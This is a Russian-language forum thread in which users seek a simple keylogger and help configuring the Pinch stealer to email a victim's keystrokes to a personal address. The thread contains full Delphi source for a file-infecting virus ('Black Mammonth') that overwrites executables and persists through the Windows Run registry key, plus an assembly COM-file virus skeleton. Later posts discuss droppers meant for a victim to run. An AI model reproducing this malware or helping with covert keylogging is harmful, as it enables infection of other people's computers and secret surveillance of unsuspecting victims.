Здраствуйте! Прошу у вас простого клавиотурного шпиона. Я понимаю они есть и в пинче но мне нужен просто шпион без всяких наворотов. Качал некоторые трой но не уверен в их дееспособности Я в этих делах неочень шарю если можно инструкцию к нему Желательно бодробную что куда и как. Заранее благодарен ПС знаю есть много тем про это извиняюсь если что не так Google Yandex Поверьте мне использовал хлама море нужная инфа есть но ссылку на закачку все не рабочие
Talisman а у меня в шкафу на третей полке снизу, для тебя 300$ лежит, устроит? Без ключа можешь взять. 2blek поищи в интернете QuickKeyspy. Очень простой и приятный в обращении, никаких наворотов, но всё наглядно.
NaX[no]r† если шкаф открыт , то он конечно везьмет =)) blek тебе сюда _http://www.ozon.ru/context/detail/id/2446421/?partner=1849 в книге приведены примеры вирусов
Я не понял - чем плох шпион в пинче? Какие в нем навороты? Кроме того, что логи по разным файлам в зависимости от id окна разбрасывает? Ну хочешь, еще немного упрощу и на Си выложу?
У меня с пинчем траблы пробовал разные версий Если кто может настроить на майл [email protected] все остальные функций не нужны где то с перерывом ну скоко там поставить можно ну 2часа пойдет кол во цифр чем больше тем лучше. Просто я незнаю что указывать в смт сервер ) ) Я читал на форумах про него и тп но мне всеравно не приходят письмя он был точно открыт жертвой. Да и еще вопрос можно ли после его какнить отключить чтоб мыло не захломлял
Ну что делать если немного туплю Кот я тут о помощи прошу (а не такого рода коментарий которые я кстати ненавижу!!!!!! Я бы их щетал за флууд)
пример вируса на делфи пример вируса на делфи Code: { BLACK MAMMONTH VIRUS, ОБУЧАЮЩАЯ ВЕРСИЯ. MADE IN USSR, Dr.Klouniz КАК ИГРАТЬСЯ С ЭТИМ ВИРУСОМ. ЮЗЕР МАНУАЛ: 1.Создаем каталог c:\inf 2.Компилируем вирус (Project--> Build) 3.Cравниваем размер полученного файла с константой VIRLEN; если не совпадает- измени константу и перекомпилиру } 4. Переписываем в каталог c: \inf несколько exe - файлов и вирус.Запускаем вирус. } {$I-} //Игнорировать I/O ошибки {$D-} //Не вводить в код отладочную информацию program VirDebug; uses sysutils, //Заголовочные файлы windows, registry, //Работа с системным реестром classes, inifiles; //Работа с INI-файлами const VIRLEN = 296960; //Длина нашего вируса. После компиляции сравните получ. //размер с указанным здесь, при необходимости измените и перекомпилируйте var zertva, virus: TFileStream; //Мы и жертва //буфера для чтения записи довеска и вируса vir, dovesok: array[1..VirLen] of Char; result: integer; //результат FindFirst'а client, sr: TSearchRec; //Массив имени файла Name: array[1..8] of string; //Массив расширения файла Ext: array[1..3] of string; //Наш INI-каталог; вирус- полноценная прога под WindoZ! Info: TINIFILE; NewName, pr, par, FromF: string; //Разные строчки //Дата как метка зараженности Birth: TDateTime; kill, slay, winvir, NewProga: file; //файлы //Индикатор зараженности (TRUE/FALSE) infected: boolean; //Текстовый файл-визитка; свидетельствует о том, что это не первый //старт виря на данном компьютере check: textfile; si: Tstartupinfo; p: Tprocessinformation; reg: TRegistry; // Функция- копировалка function WindowsCopyFile(FromFile, ToDir: string): boolean; var F: TShFileOpStruct; begin F.Wnd := 0; F.wFunc := FO_COPY; FromFile := FromFile + #0; F.pFrom := pchar(FromFile); ToDir := ToDir + #0; F.pTo := pchar(ToDir); F.fFlags := FOF_ALLOWUNDO or FOF_NOCONFIRMATION; result := ShFileOperation(F) = 0; end; procedure INFECTFILES; //Процедура-инфектор begin //Находим исполн. файл в каталоге c:\inf\ result := FindFirst('c:\INF\*.exe', faAnyFile, client); while Result = 0 do //Если нашли, то... begin //Проверка на вшивость Infected := false; //если дата- 09.08.83 и время 6:00, то файл заражен и нам не нужен if DateTimeToStr(FileDateToDateTime(fileage('c:\INF\' + client.name))) = '09.08.83 06:00:00' then infected := true; //Проверено! //если мы нашли не сами себя и не зараженный файл, то... if (client.name <> sr.name) and (infected = false) and (client.name <> 'mammonth.exe') then . //Сочиним новое имя для нашей жертвы; begin Name[1] := inttostr(random(10)); Name[2] := inttostr(random(10)); Name[3] := inttostr(random(10)); Name[4] := inttostr(random(10)); Name[5] := inttostr(random(10)); Name[6] := inttostr(random(10)); Name[7] := inttostr(random(10)); Name[8] := inttostr(random(10)); Ext[1] := inttostr(random(10)); Ext[2] := inttostr(random(10)); Ext[3] := inttostr(random(10)); NewName := name[1] + name[2] + name[3] + name[4] + name[5] + name[6] + name[7] + name[8] + '.' + ext[1] + ext[2] + ext[3]; //скомпонуем новое имя //Свяжемся с нашей жертвой AssignFile(Kill, 'c:\INF\' + client.name); //Отправим ее в загон для всех таких же, с уникальным именем ReName(Kill, 'c:\INF\files\' + NewName); //Фиксируем новое имя в нашем каталоге Info := TIniFile.create('c:\inf\filelist.ini'); with info do begin //Пишем данные с каталог в виде Исходное_имя_файла=Новое_имя_файла WriteString('FILELIST', client.name, NewName); free; end; //А теперь заразим страшным ВИРУСОМ наш файл! //Открываем на чтение наш семенной фонд :) ||virus := TFileStream.create('c:\inf\mammonth.exe', fmOpenRead); Virus.Read(vir, VirLen); //Читаем вирус полностью (константу VirLen помнишь?) //Если клиент поболее нас, но не более чем вдвое, if (Client.Size > VirLen) and ((Client.Size - VirLen) <= VirLen) then //то сравняем размеры begin Virus.Position := 1; //Рамка считывания- сначала Virus.Read(Dovesok, Client.Size - VirLen); //читаем довесок end; //перепишем жертву по- нашему zertva := TFileStream.create('c:\inf\' + client.name, fmCreate); zertva.Write(vir, virlen); //Запишем себя в жертву if (client.size > virlen) and ((Client.size - VirLen) <= VirLen) then zertva.write(dovesok, client.size - virlen); //И сверху еще довесок Birth := StrToDateTime('09.08.83 06:00:00'); //поставим жертве индикатор зараженности FileSetDate(Zertva.Handle, DateTimeToFileDate(birth)); Zertva.FREE; //Отпускаем жертву! Virus.FREE; end; Result := FindNEXT(Client); //Ищем следуюущий екзешник end; end; procedure REGISTRATION; begin //первый раз, в первый класс! MkDir('c:\inf\files'); //Создадим загон для жертв AssignFile(check, 'c:\inf\present.dat'); //Делаем файл-визитку ReWrite(check); WriteLn(check, 'BLACK MAMMONTH virus is now active in this computer'); CloseFile(check); //Сделано! par := ParamStr(0); //Посмотрим полное имя нашего файла с путем WindowsCopyFile(Par, 'c:\inf\'); //скопируем его в рабочий каталог (папку:)) AssignFile(winvir, 'c:\inf\' + sr.name); //Найдем его в рабочем каталоге ReName(winvir, 'c:\inf\mammonth.exe'); //...И переименуем в mammonth.exe Reg := TRegistry.Create; //И пусть этот маммонт запускается каждый раз! FileSetAttr('c:\inf\mammonth.exe', faHidden); with Reg do begin if OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run', true) then begin WriteString('MAMMONTH', 'c:\windows\mammonth.exe'); CloseKey; end; end; //Все. Мы в реестре. //Халтим вирус с правдоподобным сообщением- //сюда можно вписать процедуру вызова StackOverflow end; //Процедура исполнения оригинальной проги procedure EXECPROGRAM begin Info := TIniFile.Create('c:\inf\filelist.ini'); //Заглянем в каталог FromF := Info.ReadString('FILELIST', Sr.Name, 'NewName'); //Вытащим из загона нужный файл WindowsCopyFile('c:\inf\files\' + FromF, 'c:\inf\'); AssignFile(NewProga, 'c:\inf\' + FromF); ReName(NewProga, 'c:\inf\' + '_' + Sr.Name); //сделаем левый файл PR := 'c:\inf\' + '_' + Sr.Name; Info.Free; //Создали, теперь заКапустим его!!! FillChar(Si, SizeOf(Si), 0); with Si do begin cb := SizeOf(Si); dwFlags := startf_UseShowWindow; wShowWindow := 4; end; //Application.Minimize; Pr := Pr + #0; Createprocess(nil, @Pr[1], nil, nil, false, Create_default_error_mode, nil, nil, si, p); Waitforsingleobject(p.hProcess, infinite); //Application.Restore; //Все, отпахала юзерская прога- потрем ее на хрен! AssignFile(slay, pr); Erase(slay); end. { КОНЕЦ ПРОЦЕДУРНОЙ ЧАСТИ } begin //узнаем имя файла, откуда стартовали FindFirst(ParamStr(0), faAnyFile, sr); //А вдруг первый раз на этом компе??? AssignFile(check, 'c:\inf\present.dat'); Reset(check); if IOresult <> 0 then //Если нашего файлика-визитки нет, пора зарегиться тут begin REGISTRATION; INFECTFILES; HaLt; end; if sr.name = 'mammonth.exe' then begin //Можно запустить инфект файлов, но лучше вписать сюда какой-нибудь прикол //INFECTFILES; HALT; end; INFECTFILES; EXECPROGRAM; {++++END OF THE WORLD NEAR++++} end.
пример вируса на асме Code: .286 cseg SEGMENT assume cs:CSEG, ds:CSEG, es:CSEG, ss:CSEG org 100h Begin: jmp Init ; преходим на процедуру инициализации ;Это будут строки, указывающие то, что программа уже заражена ;Обратите внимание, что мы данным строкам вообще не задаем никакого имени. ;Так можно делать! db 77h, 88h, 99h ; === Процедуры работы с файлами === ; --- Открытие файла для записи --- ; Вход: DX - путь к файлу в ASCIIZ ; Выход: Handle, BX - номер файла Open_file proc mov ax,3D02h ;открываем файл для чтения/записи mov dx,1Eh ;DX указывает на имя найденного файла в DTA int 21h mov Handle,ax ;сохраняем номер файла mov bx,ax ret Handle dw 0FFFFh ;переменная для хранения номера файла (по умолчанию 0FFFFh) Open_file endp ; --- Закрытие файла --- ; Вход: Handle - номер открытого файла ; Выход: ничего Close_file proc cmp Handle,0FFFFh ;нет открытых файлов? je No_close ;тогда выходим (закрывать нечего!) mov bx,Handle ;закрываем файл... mov ah,3Eh int 21h No_close: ret Close_file endp ; --- Поиск первого файла --- Find_first proc mov ah,4Eh ;ищем первый файл по маске (Mask_file) xor cx,cx ;атрибуты обычные (CX=0) mov dx,offset Mask_file ;адрес маски в DS:DX int 21h ;теперь (если нашли файл *.com в текущем каталоге) имя файла ;находится по адресу 0BF00:001Eh, т.е. по смещению 30... ret Mask_file db '*.com',0 ;маска для поиска (только COM-файлы) Find_first endp ; --- Поиск следующих файлов --- Find_next proc xor dx,dx ;DS:DX указывают на DTA xor cx,cx ;Атрибуты обычные mov ah,4Fh int 21h ;Теперь в DTA находится информация о следующем найденном файле ret Find_next endp ; --- Заражение файла --- Infect_file proc clc ret Infect_file endp ; === Процедура инициализации вируса === Init: call Get_IP ;Получим смещение, где мы сейчас находимся Get_IP: pop ax ;Теперь в AX - смещение sub ax,offset Get_IP ;Вычтем из него реальный адрес, где мы будем ;находиться в сегменте 0BF00h ;Получим размер файла-"жертвы", если его нет, ;то AX будет равен 0 push 0BF00h pop es ;ES - сегмент, куда будем перемещать код вируса, mov di,offset Open_file ;DI - смещение (адрес самой первой процедуры ) mov si,di add si,ax ;SI должен содержать РЕАЛЬНЫЙ адрес (смещение), т.к. мы ;пока еще в сегменте "файла-жертвы"... mov cx,offset Finish-100h ;т.е. CX = длина нашего вируса в байтах rep movsb ;Теперь в памяти две копии нашего вируса ;Занесем в стек смещение (Lab_return+AX) и сегмент (CS) возврата из копии... mov bx,offset Lab_return add bx,ax ;Т.е. как бы искусственно заносим адрес возврата для push cs ;команды retf push bx ;Занесем в стек адрес для перехода в нашу копию: ; * сегмент - 0BF00h ; * смещение - Lab_jmp mov bx,offset Lab_jmp ;Аналогично вышесказанному... add bx,ax push 0BF00h push bx ;ВНИМАНИЕ! ;В стеке находится адрес следующей метки, только расположенной в другом ;сегменте, а именно: 0BF00h. ;По этому адресу находится метка Lab_jmp (см. следующую строку ). ;Теперь перейдем на метку Lab_jmp, расположенную в сегменте 0BF00h, ;используя оператор retf, который вытащит из стека указанный выше сегмент и ;смещение (0BF00h:Lab_jmp+AX) и "прыгнет" на него. retf ; Теперь мы уже в области экрана. Однако, в стеке находится адрес возврата на ; метку Lab_return, но в сегмент программы-"жертвы" Lab_jmp: ;Вот сюда мы и "прыгнули" с предыдущей строки! Толко CS теперь ;равен 0BF00h. push cs ;настроим регистр DS pop ds mov ah,1Ah ;установим DTA для поиска файлов xor dx,dx ;он устанавливается на тот адрес, который содержится int 21h ;в регистрах DS:DX. В отладчике посмотрите, ;что находится в памяти, на которую указывают данные ;регистры, т.е. DS:DX... call Find_first ;ищем первый файл jc Nomore_files ;нет COM-файлов - на выход Inf_file: call Infect_file ;нашли - пробуем заразить jnc Nomore_files ;удалось заразить - выходим call Find_next ;не удалось заразить - ищем следующий jnc Inf_file ;нашли еще один COM-файл; пробуем заразить... ;Выполнили свою грязную работу. Пора передавать управление файлу-"жертве"; ;нужно восстановить его первые шесть байт, которые храняться в переменной ;First_bytes Nomore_files: mov si,offset First_bytes ;DS:SI - на массив из шести слов mov di,100h ;ES:DI - куда пермещать строку (шесть байт) push ss ;SS содержит сегмент файла-"жертвы", который нужно загрузить pop es ;в ES mov cx,6 ;6 байт перемещаем: DS:SI = ES:DI rep movsb ;"Файл-жертва" восстановлен в памяти (точнее, его первые шесть байт). ;Теперь вернемся в сегмент программы-"жертвы", т.е. туда, где мы ;были изначально. Как? ;Вспомните, что в стеке хранится смещение и сегмент для возврата: ;mov bx,offset Lab_return ;add bx,ax ;Т.е. как бы искусственно заносим адрес возврата для ;push cs ;комады retf ;push bx ;Команда retf, как Вам уже известно, вытащит из стека смещение (Lab_return+AX) ;и сегмент (CS) и перейдет по этому адресу. Вот и весь фокус! retf ;Теперь мы опять в сегменте зараженной программы ("прыгнули" с предыдущей ;строки командой retf)... Lab_return: push cs ;восстановим DS (ES уже в порядке!) pop ds mov ah,1Ah ;восстановим DTA mov dx,80h int 21h mov ax,100h ;Передаем управление "файлу-жертве" вот таким странным jmp ax ;способом. Т.е. jmp 100h ; === Данные === ;Здесь (First_bytes) хранятся первые байты "файла-жертвы". ;Если это первый запуск вируса, то по умолчанию получим: ;nop (90h) ;nop (90h) ;nop (90h) ;nop (90h) ;int 20h (0CDh, 20h) ;Итого: 6 байт ; первые три байта - jmp на код вируса, который мы искусственно добавим ; при заражении какой-нибудь программы. ; вторые три байта - метка того, что файл уже заражен нашим вирусом ; У нас будет: 77h, 88h, 99h First_bytes db 4 dup (90h), 0CDh, 20h Finish equ $ ;метка конца программы-вируса CSEG ends end Begin
Вопрос, как жертва может избавиться от клавиатурного шпиона? из какой директории его надо удалить, чтобы он перестал функционировать
Я им пользовался... всё нормально. Установка и удаление производится одним и тем же файлом. удобно впринципе
Скачал эту программку. Запускаешь exe'шник там такая штука "Saisir le code de decryptage". Я так понял надо ввести xroot и нажать "decrypter le fichier". Вот здесь начинается самое интересное, у меня выскакивает новый exe-файл(причем независимо от того, правильный или неправильный пороль) , я так понял, тот, который нужно запустить жертве. И никого текстового файла с настройками не выскакавает. Помогите плиз....